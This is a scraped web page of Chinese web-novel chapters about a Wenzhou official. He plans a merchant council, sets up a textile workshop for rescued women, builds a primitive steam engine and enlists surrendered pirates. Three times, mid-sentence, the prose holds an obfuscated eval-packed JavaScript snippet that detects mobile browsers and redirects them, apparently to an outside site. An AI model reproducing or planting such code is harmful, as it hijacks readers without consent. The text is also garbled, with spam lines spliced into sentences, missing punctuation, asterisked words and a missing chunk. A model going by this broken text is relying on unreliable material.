他心中对陆明渊的智谋又多了几分敬佩,忍不住再次吹捧道:“大人您真是聪明绝顶!下官佩服!” 陆明渊摆了摆手,示意他继续汇报。 “另外,大人您赶去杭州府述职的这十余天,下官已将从温州海战带回来的余下一千女子,妥善安顿完毕。” 裴文忠收敛了笑容,正色汇报道。 “如今她们都安置在城东三十里外的牛邙山,那里如今开辟出了十余个村庄,足够她们居住。” “下官还调派了卫所一百多人,负责牛邙山外的巡逻与日常事务,确保她们的安全,也避免外人滋扰。” 裴文忠补充道。 陆明渊听完,眼中闪过一丝赞许。 他之前忙于海战和述职,这些琐碎却重要的后勤事务,他只简单交代了几句。 没想到裴文忠竟然在短短十天之内,便将这些事情都办得如此妥当。 效率之高,着实出乎他的意料。 “很好。” 陆明渊放下茶杯,赞赏地看了裴文忠一眼。 “裴通判办事,果然稳妥高效。牛邙山之事,你做得很好。” 裴文忠得到陆明渊的肯定,脸上也露出了几分喜色。 “既然如此,下午你便陪我一同前往牛邙山巡视一番。” 陆明渊沉声说道,“我需要亲自检查一二。” 第249章 纺织作坊开始启动! 待裴文忠退下陆明渊的目光重新落回到案牍之上。 堆积如山的公文字里行间无不透露着温州府如今的勃勃生机与随之而来的阵痛。 他拿起一份卷宗上面记载的是两家商队的争执。 一方是来自内陆的晋商携带大批丝绸瓷器前来温州寻求海运出路。 另一方则是温州本地的陈氏商行世代经营布匹杂货。 两家为了一处码头泊位和几条商路的使用权争执不下甚至动用了些许武力闹到了府衙。 陆明渊没有急于批示而是将此类案件一一翻阅。 他发现自“漕海一体”的政策推行以来温州府的海运贸易日益繁盛四海商贾云集。 这固然带来了前所未有的财富与活力却也如同潮水般将原本平静的湖面搅得波涛汹涌。 外来商队资金雄厚眼光独到往往能以更低的价格获取货源或以更先进的手段开拓市场。 而本地商队虽然根基深厚却在竞争中显得有些力不从心甚至感受到了生存的威胁。 这并非简单的商业**而是两种商业模式、两种利益群体之间不可避免的冲突。 陆明渊深知随着“漕海一体”的深入发展这种矛盾只会愈演愈烈。 若不加以引导和规范迟早会演变成影响温州府稳定的大患。 他端起茶杯却未饮一口只是盯着杯中浮沉的茶叶 胡宗宪曾言海运一开滚滚而来的利润将是最好的筹码。 但若这些利润的分配机制失衡筹码便可能化为引爆冲突的**。 陆明渊的目光渐渐变得深邃。 他意识到他不仅要建立一个强大的水师和海运体系更要构建一套能够容纳百川、平衡各方的商业秩序。 这秩序既要保证效率与活力又要兼顾公平与稳定。 他放下茶杯拿起笔在纸上缓缓写下“漕海理事会”五个字。 他要建立的不是一个简单的协调机构而是一个具有半官方性质的商业自治组织。 一个能够将各方利益捆绑在一起共同维护市场秩序的平台。 他开始勾勒理事会的章程。 首先是其构成:由官府牵头作为超然的仲裁者和监管者。 而外地商会与本地商会则各自推举五名理事成员参与理事会商议直接和政府对话! 这个机制在后世极为常见也是陆明渊想要推行的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 制度! 漕海一体牵涉的商人何止数万,一旦发生什么争执,不可能都由官府一一处理! 弄出来一个民间机构,由政府监管,如此便能解决极多麻烦! 至于理事会的核心职能之一,便是信息的发布与价格的指导。 陆明渊设想,理事会应定期收集并发布主要商品的供需信息,并结合市场实际,给出指导价格。 这并非强制性的规定,而是一种引导,旨在避免盲目的生产与恶性的价格战。 对于温州本地的特色产品,如丝绸、茶叶、瓷器等,理事会应协助制定保护性标准与价格。 这既能维护本地特产的声誉,确保其品质,也能在一定程度上保障本地商队的利益,使其不至于在外来冲击下溃不成军。 陆明渊提出要为所有商人建立“商籍档案,进行信誉评级。 一个公开透明的信誉体系,能够将那些诚信经营的“良商与投机取巧的“奸商区分开来,从而净化市场环境。 信誉高的商队,可以在税收、贷款、摊位选择等方面享有优惠,甚至在官府的大型采购中获得优先权。 最后,也是最为关键的一点,陆明渊将目光投向了漕海一体带来的大型政府项目。 无论是港口扩建,还是大规模的物资运输,这些项目往往利润丰厚,也最容易引发争夺。 陆明渊的设想是,这些项目不应由某一家或某几家独揽,而应由理事会商议,将其拆分成若干份额。 要求外地商队与本地商队组成联合体共同承接。 这样一来,不仅可以集合各方优势,降低风险,更能让各方利益均沾,最终由官府拍板决定。 陆明渊的笔尖在纸上飞舞,墨迹未干,已然勾勒出一个宏伟而精密的商业秩序蓝图。 这不仅仅是一个解决眼前矛盾的方案,更是一个能够支撑温州府未来数十年乃至上百年发展的制度框架。 他用了一个时辰,将这些核心理念与大致章程草拟完毕。 他知道,剩余的细节,还需要与裴文忠和其他官员共同商议完善,但框架已立,方向已明。 他放下笔,长舒一口气,心中一块巨石落地。 处理完这些章程,陆明渊随即叫来了裴文忠。 “裴通判,牛邙山那边,我们现在就去。 陆明渊的声音带着一丝不易察觉的兴奋。 裴文忠见陆明渊精神奕奕,丝毫不见昨日的疲惫,心中更是惊叹。 这位陆大人,仿 听说看这本书的人都是很幸运的,分享后你的运气会更棒 佛有着取之不尽的精力。 他立刻应是,并命人备马。 午后的阳光洒落,为温州府的街道镀上了一层金边。 陆明渊与裴文忠并辔而行,身后跟着十余名精干的镇海司亲卫。 马蹄声声,踏过青石板路,穿过热闹的市集,渐渐远离了城区的喧嚣。 道路两旁的景色,从鳞次栉比的商铺酒楼,逐渐变成了阡陌纵横的田野,再到连绵起伏的青山。 初秋的温州,空气中弥漫着泥土和草木的清香,偶尔夹杂着远方海风带来的淡淡咸味。 一路上,裴文忠向陆明渊详细汇报着牛邙山安置的细节。 “大人,牛邙山地势开阔,水源充足,下官寻访多处,最终选定此处。 “我们征用了周边几处荒废的村落,又在山脚下新辟了十余个居住点。 “卫所的兄弟们日夜轮值,确保安全无虞。 裴文忠的声音带着一丝自豪。 陆明渊微微颔首,目光落在远方那片逐渐清晰的山影上。 他心中清楚,安置两千多名失去家园的女子,绝非易事。 她们大多是海战中被解救的平民,或失去亲人,或家园被毁,身心都承受着巨大的创伤。 如何让她们重新站起来,重拾生活的希望,这才是真正的挑战。 “吃食和衣物可有保障? 陆明渊问道。 “回大人,府库拨付了一批,下官又发动了城中善人捐助,暂时无虞。 裴文忠答道,“只是长久之计,还需大人定夺。 陆明渊沉吟片刻,他知道裴文忠的意思。 捐助毕竟不是长久之计,这些女子需要能够自食其力,才能真正摆脱困境。 而这,也正是他此行牛邙山,除了检查安置情况之外,最为重要的目的——建立纺织工厂。 牛邙山距离温州城三十里,骑马疾驰,不到半个时辰便已抵达。 远远望去,山脚下,一片片新修的屋舍错落有致。 炊烟袅袅升起,为这片曾经荒芜的山地,增添了几分生机。 卫所的士兵们身着简陋的皮甲,手持**,在村落外围巡逻。 当陆明渊一行人靠近时,一名卫所的什长立刻上前,恭敬行礼。 “卑职见过陆大人,裴大人! “免礼。 陆明渊翻身下马,目光扫过眼前的村落。 他注意到,这里的房屋虽然简陋,却整洁有序,村道也打扫得干 听说看这本书的人都是很幸运的,分享后你的运气会更棒 干净净。 一些孩童在屋前嬉戏,发出清脆的笑声,而一些女子则在村口的水井旁忙碌着。 她们的脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777340|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然仍带着一丝疲惫和麻木,却已不再是当初在海船上那种绝望的神情。 陆明渊心中微动,裴文忠的安置工作,显然做得比他预想的还要好。 “带我们进去看看。” 陆明渊对什长说道。 在什长的引领下,陆明渊与裴文忠走进了村落。 他们走过一间间屋舍,看到屋内整洁的床铺、简单的家具。 空气中弥漫着淡淡的饭菜香,那是寻常百姓家的烟火气。 陆明渊停在一户人家前,看到一位年迈的妇人,正坐在门槛上,借着阳光修补着一件旧衣。 “老人家,住得可还习惯?” 陆明渊温声问道。 妇人抬起头,浑浊的眼中闪过一丝惊讶,随即连忙起身,想要行礼。 “大人折煞老身了,习惯,习惯得很。有吃有住,还有卫兵兄弟们日夜守着,比以前在倭寇那里担惊受怕的日子好太多了。” 妇人声音有些沙哑,却带着真诚的感激。 陆明渊看着她那饱经风霜的脸庞,心中涌起一股复杂的情绪。 这些女子,曾是战争的受害者,是弱势群体。 但她们同样也是大乾的子民,是温州府的旧人。 如何让她们从被动的接受者,变为积极的建设者,这是他一直在思考的问题。 他继续向前走,经过一片开阔的空地。裴文忠指着那片空地说道。 “大人,这里原本是村里的晒谷场,下官想着,若是日后要建作坊,此处倒是颇为宽敞。” 陆明渊的目光落在那片空地上,脑海中已经浮现出纺织工厂的雏形。 “纺织作坊,确实需要这样开阔的地方。” 陆明渊沉声说道,“裴通判,你可知这些女子中,可有善于纺织的?” 裴文忠闻言,脸上露出一丝了然。他似乎早已猜到陆明渊的心思。 “回大人,下官在安置之时,曾粗略统计过。” “这些女子中,有近半数来自沿海渔村和内陆农家,她们或多或少都懂得纺纱织布。” “其中更有不少人,是家传的手艺,甚至有人在城里的纺织作坊做过工。” “只不过,这些人的手艺做些粗制的布衣还行,但是想要成规模制衣,还需要请一些专业的师傅教导!” 陆明渊闻言,眼中精光一闪。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他要建立的,不是简单的手工作坊,而是一个具备一定规模,能够批量生产的纺织工厂。 “很好。” 陆明渊走到空地中央,环顾四周。 “这片地方,便是纺织工厂的选址了。” “回头你派人丈量,规划好厂房的布局。厂房不必过于华丽,但一定要坚固实用,采光通风都要做好。” “先前安排的师傅也都请过来,今天开始教导一批人,先把工厂做起来!” “是,大人!” 陆明渊转过身,对裴文忠说道。 “此事你亲自督办。从厂房建设到东西买办,从招募女工到生产管理,每一步都要过问。” “我需要你将这里打造成温州府的表率,方便以后接纳从倭寇中救回来的同胞。” “我要让所有人都看到希望!” 裴文忠郑重地抱拳拱手。 “大人放心,下官定不辱使命!” 夕阳西下,金色的余晖洒在牛邙山新修的屋舍上,也洒在陆明渊年轻而坚毅的脸庞上。 他知道,前路漫漫,挑战重重。 但此刻,看着眼前这群逐渐找回生机的女子,看着这片充满希望的土地,他心中充满了力量。 他不仅要让温州府的海运兴盛,更要让这片土地上的人民,都能安居乐业,都能拥有属于自己的尊严和未来。 这,才是他陆明渊,真正要为大乾、为百姓所做的事情。 第250章 重金招募精通机关巧术的墨家匠 陆明渊勒住马缰,回望那片升腾着袅袅炊烟的土地。 裴文忠跟在他的身侧,顺着他的目光看去,脸上也带着一丝欣慰的疲惫。 这位通判大人为了这些女子的安置,确实是殚精竭虑了。 “裴通判, 陆明渊的声音在渐浓的夜色中显得格外清晰。 “此地虽好,却终究偏僻。明日起,你便从府库调拨一笔款子,再征发民夫,将从这里到温州府城的官道,重新修缮拓宽。 裴文忠微微一怔,随即反应过来,脸上露出钦佩之色。 他先前只想着安置,想着如何让这些女子活下去,却未曾想得如此长远。 “大人高见!路若不通,便如血脉不畅。 “牛邙山与府城隔着三十里,若无一条好路,莫说日后作坊的成品运不出去,便是日常的物资补给,也是一桩极大的耗费。 陆明渊点了点头,目光深邃。 “纺织工厂要尽快建立,地基、厂房、织机,一样都不能耽搁。初步的资金,便从镇海司的公账上出。 他顿了顿,语气平淡,说出的内容却让裴文忠心头猛地一跳。 “前次清剿倭寇,除去送往京都的三百万两,战利品还剩下二百万两。 “再加上沈、汪两家送来的一百万两,如今镇海司的府库,还算充裕。 三百万两! 裴文忠倒吸一口凉气。 这笔足以让户部尚书高拱笑得合不拢嘴的巨款,在陆明渊口中,却只是“还算充裕。 他这才真正意识到,这位年轻的伯爷,手中掌握着何等惊人的力量。 陆明渊没有在意裴文忠的震惊。 “银子放在库里,终究是死物。我要将它们变成田地,变成商铺,变成船只,变成这牛邙山下的纺织工厂。 “我要让镇海司拥有自己的产业,能源源不断地生钱。 “如此,日后清缴倭寇,才不必再处处仰人鼻息,看朝中诸公的脸色行事。 这番话让裴文中的心中掀起惊涛骇浪。 他看着眼前这位比自己年轻太多的上官,心中第一次生出一种难以言喻的敬畏。 以战养战,以商养军,将东南的财赋,化为**倭寇的刀兵! “下官……下官明白了! 裴文忠躬身一揖到底,声音竟有些颤抖。 “下官定会督促工期,将道路与工厂之事,办得妥妥当当! 陆明渊“嗯了一声,调转马 你的朋友正在书荒,快去帮帮他吧 头,向着温州府城的方向疾驰而去。 夜色下的温州府,早已不复白日的喧嚣,唯有几处高大的酒楼还亮着灯笼。 陆明渊没有回府衙,而是径直策马,来到了城南一处占地极广的院落前。 这里便是千机院。 院门前挂着两盏硕大的灯笼,将“千机院三个字照得雪亮。 门口的守卫一见是陆明渊,立刻躬身行礼,同时派人飞奔进去通报。 还未等陆明渊下马,院内便传来一阵急促而沉重的脚步声。 一个身材魁梧如铁塔般的汉子,带着一群身上沾满油污与炭灰的工匠,快步迎了出来。 “草民杜铁山,参见大人! 为首的汉子声音洪亮如钟,正是千机院的总匠头,杜铁山。 “杜师傅不必多礼。 陆明渊翻身下马,将马缰递给亲卫,一边向院内走去,一边问道。 “我让你们做的那件东西,可有眉目了? 杜铁山黝黑的脸上闪过一丝兴奋,他侧过身,恭敬地引着陆明渊走向院子中央的空地。 “回大人,按照您的图纸,我们日夜赶工,总算是……总算是把那个‘铁疙瘩’给弄出来了。 “只是……这东西到底有何用处,草民们愚钝,实在想不明白。 说话间,几人已来到空地。只见空地中央,赫然摆放着一个巨大的、黑不溜秋的铁球。 这铁球约有半人高,表面粗糙,布满了铸造时留下的砂眼。 铁球的顶部和侧面,焊接了几根长短不一的铁管,歪歪扭扭地指向天空,像一个长相怪异的刺猬。 铁球下方,则是一个用砖石和耐火土砌成的简易炉膛。 这便是陆明渊凭着记忆画出的,最原始、最简陋的蒸汽机模型。 它与后世博物馆里那些精密复杂的机器相比,简直就像是玩具。 但在杜铁山和一众大乾最顶尖的工匠眼中,这已经是他们倾尽心血的杰作。 陆明渊绕着这个铁球走了一圈,伸手敲了敲,发出沉闷的“当当声。 他没有失望,反而点了点头。 虽然粗糙,虽然简陋,但它至少是一个开始。 一个从无到有的开始。 “你们做得很好。 陆明渊的肯定,让杜铁山等人顿时松了口气。 “大人,这东西……它真的能自己动起来? 一名年纪稍长的工匠忍不住问道,眼中满是怀疑。 陆明 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 渊笑了笑没有直接回答。他指着铁球下方的炉膛问道。 “你们烧过水吗?” 众人一愣不知陆明渊为何有此一问但还是纷纷点头。 陆明渊又指着铁球说道。 “就把这个铁球当成一个烧水的铁壶。我们在下面生火把里面的水烧开。” “水开了就会有水汽对不对?” 众人再次点头这都是寻常的道理。 “寻常的铁壶水汽会从壶嘴里冒出来。但我们这个‘铁壶’所有的口子都是堵死的。” “水汽出不去就会在里面越聚越多它会发怒会拼命地想要冲出来。这股力量大得超乎你们的想象。” 他走到铁球旁拍了拍一根最粗的铁管。 铁管的尽头连接着一个简单的活塞和一根连杆连杆的另一头则是一个巨大的铁制飞轮。 “我们不让它从别处跑只给它留一个出口。我们让这股愤怒的力量去推动这个东西。” 他指着活塞“它动了这根杆子就会动杆子动了这个轮子……也就会跟着转起来。” “我们不需要牛也不需要马只需要烧水就能让这个巨大的轮子不知疲倦地一直转下去!” 陆明渊的声音不高但每一个字都像是惊雷一般在所有工匠的耳边炸响。 烧水……让一个铁疙瘩自己转起来? 这……这是什么道理? 杜铁山等人面面相觑 他们能理解每一个步骤烧水产生蒸汽蒸汽顶开活塞。 但将这些连在一起所描绘出的那个场景却完全超出了他们的认知范畴。 这不像是铁物能拥有的灵活性倒像墨家先贤们造出的“木牛流马”! 看着众人那副既茫然又激动的神情陆明渊知道思想的种子已经种下。 剩下的需要时间来生根发芽。 他没有再过多解释因为再多的理论也不如一次成功的实践来得有说服力。 “此事不急你们可以慢慢琢磨。眼下我还有另一件事要你们做。” 陆明渊话锋一转神情变得严肃起来。 “杜师傅我们大乾的炼铁之法尤其是熟铁是否还有精进的余地?” 提到自己的老本行杜铁山立刻来了精神他挺起胸膛自豪地说道。 “回大人我大乾的灌钢法已是天下顶尖!百炼钢刀吹毛断发!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 疑最后陡然爆射出一团精光! 他似乎……抓住了一点什么! “大人!您的意思是……让风更多地吹进铁水里?” 杜铁山的声音有些干涩。 “可以这么理解。” 陆明渊赞许地看了他一眼。 这是后代最为简单的炒钢之术大乾没有具体的概念陆明渊也只懂个大概! 杜铁山能立刻理解这个概念这让陆明渊颇为满意! 不愧是三代打铁在这门手艺上的理解杜铁山的天赋超出陆明渊的预估! “我来试试!” 杜铁山猛地一拍大腿像是下定了什么决心。 他大吼一声招呼着自己的徒弟们重新点燃了一座炒钢炉。 熊熊的炉火再次升腾将半个院子都映得通红。 生铁块被投入炉中在高温下渐渐化为一锅金红色的铁水。 按照以往的工序此刻他们应该减小风量静静等待。 但这一次杜铁山赤着布满虬结肌肉的上身汗水在火光下闪闪发亮。 他抄起一根粗大的铁棍对着身旁的徒弟们咆哮道:“拉风箱!给我往死里拉!” 呼!呼! 风箱被几个壮汉奋力拉动烈风灌入炉膛炉火蹿起一人多高铁水表面翻腾起耀眼的火星。 “开炉口!” 杜铁山大喝一声亲自上前用铁棍将炉口扒开一个更大的豁口。 然后他深吸一口气将那根粗大的铁棍狠狠地**了翻滚的铁水之中! “喝!” 他双臂肌肉坟起青筋暴突用尽全身力气模仿着陆明渊刚才的动作。 他开始在黏稠的铁水中奋力地“搅拌”起来! 这绝对是超乎想象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777341|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的苦力活。 铁棍的末端很快就被烧得通红灼人的热浪扑面而来仿佛要将人的眉毛都点燃。 但杜铁山不管不顾他只是死死地咬着牙一遍又一遍地重复着那个看似笨拙的动作。 陆明渊站在不远处静静地看着。 他知道一个崭新的时代或许就将从这间烟熏火燎的院子里从这一次笨拙的“翻炒”中拉开帷幕。 他根据前世的记忆不时地出声指点。 “速度再快一点!让它翻滚起来!” “注意观察颜色当铁水从金红色开始向亮白色转变时就差不多了!” 时间一点一滴地过去杜铁山已经换了三个徒弟接力 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 个人都累得像从水里捞出来一样。 终于,在陆明渊的示意下,搅拌停止了。 一炉全新的铁水,被倒入模具之中,冷却,成型。 当那块新出炉的熟铁锭被浇上冷水,发出“嗤的一声巨响,冒出大量白汽时,所有工匠都屏住了呼吸。 一名经验最老的铁匠上前,拿起一柄大锤,试探性地敲了敲。 “当! 一声清脆悠扬的声响,与以往熟铁沉闷的声音截然不同! 老铁匠眼中精光一闪,他抡起大锤,狠狠地砸了下去! “当!当!当! 一连数锤,火星四溅! 众人惊愕地看到,在那势大力沉的锤击下,那块铁锭虽然被砸出了一个个凹坑。 可是这铁钉却没有像以往的熟铁那样出现裂纹,反而展现出一种极佳的延展性。 杜铁山抢过锤子,亲自上手。 他比任何人都清楚这意味着什么。 他越砸越快,越砸越兴奋,最后忍不住仰天大笑起来,笑声中甚至带着一丝哭腔。 “成了!大人!真的成了! 他扔下锤子,几步冲到陆明渊面前,激动得满脸通红,竟是要直接跪下。 陆明渊连忙扶住他:“杜师傅,使不得。 “使得!使得啊大人! 杜铁山激动得语无伦次。 “这……这是神技!是点石成金的神技啊! “有了这种铁,草民有信心,能锻出削铁如泥的宝刀!能造出坚不可摧的铠甲! 陆明渊看着他,微笑道。 “这只是第一步。我需要你们接下来,不断尝试,调整炭的配比。 “不同的炭含量,会得到不同硬度和韧性的铁。我要你们,将目前熟铁的柔韧度,再翻一倍! “翻一倍! 杜铁山倒吸一口凉气,但这一次,他的眼中不再有怀疑,只有无穷的斗志。 “是!大人!草民遵命! 解决了铁的问题,陆明渊的目光,又回到了那台冰冷而沉默的“铁疙瘩上。 杜铁山顺着他的目光看去,脸上的兴奋稍稍褪去,又换上了那种困惑的表情。 他沉吟了片刻,忽然说道:“大人,草民有个想法,不知当讲不当讲。 “但说无妨。 “大人您说的那个,用蒸汽推动轮子转的法子,草民虽然想不透彻,但感觉和传说中墨家先辈们的机关术,有些相似。 “他 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 们最擅长研究各种齿轮、连杆、轮毂的组合,用小力气办大事。” “我们这些铁匠,只会打铁,是粗人。要说**这些精巧的玩意儿,还得是那些墨家的机关匠。” “若是能请几位过来,一起研究您这个……这个蒸汽机,或许……能更快弄明白里面的门道。” 陆明渊闻言,眼中顿时一亮。 墨家! 他怎么把这群被历史尘封的奇人给忘了! 虽然自汉武帝“罢黜百家,独尊儒术”之后,墨家早已衰落,但其传承却从未真正断绝。 他们化整为零,以师徒、家族的形式,将那些鬼斧神工的机关术,一代代流传了下来。 这些人,不就是这个时代最顶尖的工程师和机械师吗? “好!”陆明渊当机立断。 “杜师傅,你这个建议提得非常好!” 他转头对身后的裴文忠说道。 “裴通判,你立刻以府衙的名义下达公文,在整个浙江,不,在整个江南,重金招募精通机关巧术的墨家匠人!” “就说我温州镇海司,要集天下之巧匠,造一件前所未有的大国重器!” “凡应募者,无论出身,皆奉为上宾,赏银百两!若能破解其中奥秘,赏银万两,封妻荫子!” 第251章 现在,本官给你们一个机会! “凡应募者,无论出身,皆奉为上宾,赏银百两!若能破解其中奥秘,赏银万两,封妻荫子! 裴文忠听得心神激荡。 他从未想过,自己有朝一日会参与到如此波澜壮阔,甚至足以改易国朝气运的大事之中。 他躬身领命,声音因激动而微微发颤:“下官遵命!定将此事,布告江南! 陆明渊点了点头,夜风吹起他玄色的官袍,衣袂翻飞间,带着一股难言的写意与决绝。 他最后看了一眼那在炉火余光中显得狰狞而又充满希望的铁疙瘩,转身走出了千机院。 蒸汽机是划时代的东西,只要能研发出来,就能让大乾王朝提前步入工业时代! 只不过这一步极难,陆明渊也不打算加速这个进程,先把简易的蒸汽机弄出来即可! 简易的蒸汽机放在船上,也能极大程度地增加战船的动力,使得温州水师的战船成为大杀器! 千机院的大门在他身后缓缓关闭,温州府城的夜,重新变得静谧而深沉。 陆明渊一边儿赶路,一边儿思索着后续的计划! 思绪间,府衙那高大的轮廓已在望。 还未等他走近,一队亲兵便迎了上来,为首一人,正是温州总兵邓玉堂。 邓玉堂一身戎装,身形魁梧,面容刚毅,行走间龙行虎步,带着一股久经沙场的铁血之气。 他显然是在此等候多时,见到陆明渊,立刻抱拳行礼:“末将邓玉堂,参见伯爷! “邓总兵不必多礼。 陆明渊将马缰递给亲卫,与邓玉堂并肩向府衙内走去。 “这么晚了,可是有要事? “确有要事,须得当面向伯爷禀报。 邓玉堂的声音低沉而有力,“伯爷交办的审讯之事,已有结果了。 陆明渊脚步一顿,眼中精光一闪:“哦?说来听听。 两人进入府衙正堂,亲卫点上灯烛,昏黄的光晕将两人的身影拉得老长。 邓玉堂从怀中取出一本册子,双手奉上。 “伯爷,前次清剿,共俘获倭寇三千二百一十七人。 “经过镇抚司与温州卫的联合审讯,已将所有人的底细都查了个清楚。 他顿了顿,语气中带上了一丝杀气。 “其中,有四百三十一人,乃是真正的东瀛浪人,或是手上沾满了大乾百姓鲜血的巨寇,作恶多端,罄竹难书。 “按照大乾律法,当秋后问斩。末将已将名册拟定,请伯爷朱 听说看这本书的人都是很幸运的,分享后你的运气会更棒 笔勾决!” 陆明渊接过名册却没有立刻翻开只是问道:“剩下的人呢?” “剩下两千七百八十六人” 邓玉堂沉声道。 “皆是我大乾沿海之民。其中大部分是被倭寇裹胁的渔民、盐户或是活不下去的流民。” “罪孽虽有却不至死。这些人常年漂泊海上熟悉水文精于驾船若是杀了未免可惜。” “但若放了又恐其再生事端。如何处置末将不敢擅专特来请伯爷示下。” 陆明渊的指节在冰凉的梨花木桌面上轻轻敲击着发出“笃、笃”的声响。 这才是他今夜真正要解决的问题。 “这些人是一股力量。” “用好了便是我镇海司劈开**波涛的利刃。用不好就是插向自己胸口的尖刀。” 邓玉堂深以为然地点了点头。 “伯爷所言极是。只是……这些人毕竟曾为倭寇狼性难驯怕是不好掌控。” “狼饿了会噬主但喂饱了就是最好的猎犬。” 陆明渊站起身目光穿过窗棂望向夜空中那轮孤月。 “走随我去温州卫大营看看。” 邓玉堂精神一振抱拳道:“是!” 温州卫大营坐落在府城之西。 占地千亩营盘森然五步一岗十步一哨在月色下如同一头匍匐的巨兽。 风中传来冰冷的铁器寒光与将士们粗重的呼吸声一股肃杀之气扑面而来。 邓玉堂显然治军有方整个大营井然有序。 他引着陆明渊一路来到大营深处的一片独立营区。 这里的守卫更加森严木栅栏上还拉着带刺的铁丝网。 “伯爷那两千八百人末将已经将他们单独编成一营暂名‘靖海营’。” 邓玉堂指着营区说道。 “为了便于管束末将自作主张从温州卫中抽调了三十名百户一百名总旗。” “将这些降卒打散分编确保每一队中都有我们的人盯着。如此可防其啸聚生事。” 陆明渊眼中露出一丝赞许。 这个邓玉堂是个将才不仅勇武更有头脑。 他做事自己很放心。 “做得很好。” 陆明渊颔首道。 “将靖海营的人全部带到点兵台。我有话要对他们说。” “遵命!” 片刻之后大营中央 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,高大的点兵台上,火把被一一点燃,将四周照得亮如白昼。 台下,黑压压地站满了近三千名降卒。 他们穿着破烂的衣服,神情或麻木,或畏惧,或带着一丝桀骜。 当他们看到站在高台之上,那个身着伯爵官袍,年轻得过分的身影时,人群中响起一阵压抑的骚动。 陆明渊负手而立,目光如鹰隼般,缓缓扫过下方每一张脸。 那一张张,都是汉人的面孔。 他们的眼神,如同风中残烛,只剩下一点微弱的光,随时可能熄灭。 曾几何时,他们也是大乾的子民,是家中的丈夫、父亲、儿子。 是什么,让他们背井离乡,沦为寇仇? 是苛政? 是活不下去的绝望? 还是被欲望裹胁的贪婪? 陆明渊没有去深究。 因为此刻,他要做的,不是审判,而是救赎。 给予他们一条,活下去,并且活得像个人样的路。 “尔等可知罪?” 他开口了,声音不大,却借着夜风,清晰地传到每一个人的耳中。 台下死一般的寂静。 陆明渊的声音陡然变得严厉,如惊雷炸响。 “按照我大乾律法,尔等附逆为寇,劫掠乡里,本该与那四百倭酋一同,明正典刑,斩首示众!” “即便法外开恩,也当判流放三千里,永世充作徭役,客死他乡!” 一番话,让台下许多人脸色煞白,身体不受控制地颤抖起来。 然而,陆明渊话锋一转,语气中带上了一丝悲悯。 “但,本官也清楚,尔等之中,多有被胁迫裹胁之人,多有为生计所迫的无奈之举。” “上天有好生之德,朝廷亦有体恤之心。经本官向陛下请恩,允你们一个戴罪立功的机会!” 台下的人群猛地抬起头,那些麻木的眼中,第一次透出了一丝光亮。 “从今日起,尔等皆为我镇海司靖海营之兵!” 陆明渊的声音铿锵有力,每一个字都像重锤,敲在众人的心上。 “本官给你们一个承诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777342|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “凡阵前斩杀倭寇一人者,可抵消过往一切罪责,恢复平民之身,来去自如!” “凡阵前斩杀倭寇三人者,可获军功,正式录入我镇海司军籍,成为大乾的经制之军!” 人群彻底沸腾了! 斩杀一个倭寇,就能恢复自由身? 斩杀三个,就能成为官军? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 这……这是真的吗? 他们不是在做梦吧? 不等他们从震惊中回过神来,陆明渊抛出了更让他们无法抗拒的诱惑。 “凡入我镇海司军籍者,按月发放俸禄,饷银绝不克扣!” “尔等家人,可享朝廷税赋减免之优待!尔等子女,可入我镇海司专设之学堂,免费读书识字!” “若尔等想荣归故里,镇海司可出具公函,洗去尔等污名,证明尔等乃是为国杀贼的功臣!” “让你们,堂堂正正地走进祖祠,光宗耀祖!” 轰! 如果说前面的承诺是巨石投湖。 那么这番话,便是惊雷炸响! 俸禄! 免税! 子女教育! 功臣身份! 这四样东西,对于这些在刀口上舔血,过着朝不保夕日子的亡命之徒而言,无疑是梦寐以求的东西! 他们已经失去了一切,尊严、家庭、未来。 现在,眼前这个年轻的贵人,却将这一切,重新摆在了他们面前。 代价,仅仅是让他们去杀那些曾经的“同伴”——那些真正视他们为猪狗的东瀛浪人! “我等……我等愿意!” 不知是谁第一个嘶吼出声。 紧接着,如同燎原的野火,山呼海啸般的呐喊声,响彻了整个温州卫大营! “我等愿意为伯爷效死!” “愿为镇海司效死!” 一张张曾经麻木的脸,此刻涨得通红。 一双双曾经死寂的眼,此刻燃烧着名为“希望”的火焰。 